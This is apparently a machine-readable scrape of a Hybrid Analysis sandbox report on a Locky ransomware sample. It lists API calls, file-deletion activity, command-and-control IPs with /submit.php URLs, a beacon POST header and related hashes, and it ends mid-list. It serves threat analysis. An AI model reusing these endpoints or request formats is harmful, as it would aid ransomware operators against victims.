23:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 3f:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 22:T49e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.Locky.Generic Sample 49a48d4ff1b7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 49a48d4ff1b7…. Malware family: Ransom.Locky.Generic. Threat score 100/100. 21/26 AV engines flagged this file. 13 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc","keywords":["Malicious","Ransom.Locky.Generic","malware analysis","sandbox report","threat intelligence","49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc"],"about":{"@type":"SoftwareApplication","name":"locky.exe","applicationCategory":["peexe","executable"],"identifier":"49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.Locky.Generic","antivirusDetections":{"malicious":21,"total":26},"behavioralIndicators":{"malicious":13,"suspicious":34},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAd3cAABEQAAAAAREAAAAAAHdwAHd1ERAAABEREQAHAAB3d3d3d3F3AAEREREAB3d3d3d3d3d3FwAREREREAd3d3d3d4h3d3FxERmRlxAAd4d3d3d4h3d3ERd5l3UQAAeIdwB3h4h3d3F3d3dxAACIiHAAB3d4h3d3d3d3EAAIiIiAAId3d4h3d3d3cQAACIiIiAh3d3d4h3d3d3cHcAAAiIiIiHd3d3d3d1F3d3cACIiIiIh3d3d3d3d1F3d3AACIiIiHd3d4h3d3d1F3cAAIiICIh3d4iIiId3d3dwAAAIgACId3iIiId4d3d3d3cAAAAAiHeIiIh3d4d3d3d3AAAAAAB4iIiHcAd4d3eHdwAAAAAAd4iIdwAAd4eIdwAAAAAAAIh4h3gAAAd4h3dwAAAAAACIh3eIgAAIh3d3dwAAAAAAAIiIiIiHiId3d3cAAAAAAAAIiIiIiIiId3d3AAAAAAAIiIiIiIiIiIgAAAAAAAAAAIiIiIiIiIiIcAAAAAAAAACIgIiIiIiIiIAAAAAAAAAAAACIiIiIAIiAAAAAAAAAAAAAiIAIiAAAAAAAAAAAAAAAAIhwCIgAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAD/////////7/h4/x/44D4HeAAcBwAAGAMAAAADgAAAA8GAAAeDwAAPA4AAHwEAABPgAAABwAAAAeAAAAPCAAAH5wAAAP8AAAD/wBgA/8A8A//APgH/wB4A//AAAP/4AAD/4AAP//AAB//xAAf//wDH//8Y////GP///v////3//w==25:Ta7a,Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "locky.exe") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "locky.exe") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "locky.exe") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "locky.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; File: "locky.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "locky.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "locky.exe") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; File: "locky.exe") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "locky.exe") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00008908-00000C29-4200113364") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00008908-00000C29-4200113427") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00008908-00000C29-4200113521") Found reference to API "HttpSendRequestExA" (Indicator: "HttpSendRequest"; Source: "00000000-00008908-00000C29-4200113580") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00008908-00000C29-4200113678") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00008908-00000C29-4200113718") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00008908-00000C29-4200113747") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "HttpSendRequestExA" (Indicator: "HttpSendRequest"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp")26:T75d,"locky.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008908) "locky.exe" called "RtlGetVersion" with parameter 240100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008908) "locky.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008908)27:T835,Found malicious artifacts related to "93.170.131.108" (ASN: 57494, Owner: Krek Ltd.): ... URL: http://93.170.131.108/submit.php (AV positives: 7/68 scanned on 05/06/2016 04:25:12) URL: http://93.170.131.108/main.php (AV positives: 4/67 scanned on 04/08/2016 01:32:33) URL: http://93.170.131.108/submit.php/ (AV positives: 4/67 scanned on 04/07/2016 09:55:10) URL: http://93.170.131.108/ (AV positives: 4/67 scanned on 04/06/2016 13:49:26) File SHA256: d54173be31f755d216c6679bb999b12399678e555912e66c2c4e6bb7d2dcb394 (AV positives: 37/57 scanned on 04/26/2016 10:52:49) File SHA256: f82501fdab6d14ae41feee1046485d5be118d4a6160963f48f738e5d1a25ff4c (AV positives: 37/57 scanned on 04/26/2016 10:17:36) File SHA256: 470ecda5ee50bd8a94b50d6d60067814047ba495a038e6a1e0bc4d8ec65ddcf5 (AV positives: 37/57 scanned on 04/26/2016 08:46:58) File SHA256: ee97c12897c67c6af43d16221c04d16e4734495b4aada37d7a4307079241055c (AV positives: 35/57 scanned on 04/25/2016 13:29:56) File SHA256: 40e8683ea7c2178c1249cb6d7787228eea4493a805c8a5145a026b3ab24e16c0 (AV positives: 34/56 scanned on 04/25/2016 09:23:14) Found malicious artifacts related to "5.135.76.18" (ASN: 16276, Owner: OVH SAS): ... URL: http://5.135.76.18/submit.php (AV positives: 7/68 scanned on 05/08/2016 16:07:42) URL: http://5.135.76.18/ (AV positives: 4/67 scanned on 04/16/2016 21:11:45) URL: http://5.135.76.18/submit.php/ (AV positives: 6/67 scanned on 04/06/2016 23:41:14) File SHA256: d54173be31f755d216c6679bb999b12399678e555912e66c2c4e6bb7d2dcb394 (AV positives: 37/57 scanned on 04/26/2016 10:52:49) File SHA256: f82501fdab6d14ae41feee1046485d5be118d4a6160963f48f738e5d1a25ff4c (AV positives: 37/57 scanned on 04/26/2016 10:17:36) File SHA256: 470ecda5ee50bd8a94b50d6d60067814047ba495a038e6a1e0bc4d8ec65ddcf5 (AV positives: 37/57 scanned on 04/26/2016 08:46:59) File SHA256: 190c9b71385da560ddaeb0844f2f90ae7104f453134cbb582f91237321c7c8e8 (AV positives: 41/57 scanned on 04/26/2016 08:43:51) File SHA256: 82aa40ed70fd65f3c0995850eb64aa97bbeca4bd4063a6d1344cdbcc0c96ce16 (AV positives: 39/57 scanned on 04/25/2016 22:27:00)28:Tb95,"" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\desktop.ini" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\08ce8e54-41ba-4695-9963-a7669022faec_12[1].eot" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\0_btk_5_gw_300x169[1].jpg" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\125ffa03-7e1c-4609-a37c-8b7236ac3eb9_14[1].png" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\246059135[1].js" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\358120[1].js" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\36-42c116-9eb79ea2[1]" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\4300ae64-546c-4bbe-9026-6779b3684fb8_32[1].png" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\55494218-ac03-4875-a911-6032365741c1_14[1].png" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\57-b22b3e-91cdfbc1[1].txt" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\6FVhx3JUCR7[1].js" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\82-60b6d5-91cdfbc1[1].txt" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA2TIjN[1].png" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA3e1pt[2].png" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA3vOVA[1].png" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA3vOVA[2].png" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA42pjY[1].png" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA58NQj[1].png" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA61ILp[1].png" with delete access "" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA61yi9[1].png" with delete access29:Tb61,Contains base64 string in header "POST" in header "POST /submit.php HTTP/1.1Content-type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 82.146.37.200Content-Length: 100Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /submit.php HTTP/1.1Content-type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 82.146.37.200Content-Length: 100Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "type" in header "POST /submit.php HTTP/1.1Content-type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 82.146.37.200Content-Length: 100Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "form" in header "POST /submit.php HTTP/1.1Content-type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 82.146.37.200Content-Length: 100Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /submit.php HTTP/1.1Content-type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 82.146.37.200Content-Length: 100Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NET4" in header "POST /submit.php HTTP/1.1Content-type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 82.146.37.200Content-Length: 100Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /submit.php HTTP/1.1Content-type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 82.146.37.200Content-Length: 100Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /submit.php HTTP/1.1Content-type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 82.146.37.200Content-Length: 100Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /submit.php HTTP/1.1Content-type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 82.146.37.200Content-Length: 100Connection: Keep-AliveCache-Control: no-cache"2a:T5005,"locky.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RtlCompressBuffer (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RtlDecompressBuffer (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetSystemTime (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InitializeCriticalSection (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter DeleteCriticalSection (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter EnterCriticalSection (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter LeaveCriticalSection (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceExW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetTempFileNameW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RtlUnwind (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetVolumeNameForVolumeMountPointA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetWindowsDirectoryA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetLocaleInfoA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CopyFileW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetUserDefaultLangID (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetSystemDefaultLangID (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetUnhandledExceptionFilter (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter MulDiv (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FlushFileBuffers (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetFileTime (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetSystemTimeAsFileTime (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetFileAttributesW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter MoveFileExW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetFileSizeEx (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetStringTypeW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter LCMapStringW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HeapCreate (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetHandleCount (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter TlsFree (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter TlsSetValue (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter TlsGetValue (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter TlsAlloc (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter IsValidCodePage (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InterlockedDecrement (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InterlockedIncrement (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetCPInfo (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetStartupInfoW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter UnhandledExceptionFilter (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HeapSize (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HeapReAlloc (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FrameRect (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter DrawTextW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetObjectA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetBkMode (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetTextColor (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CreateFontA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00008908) "locky.exe" called 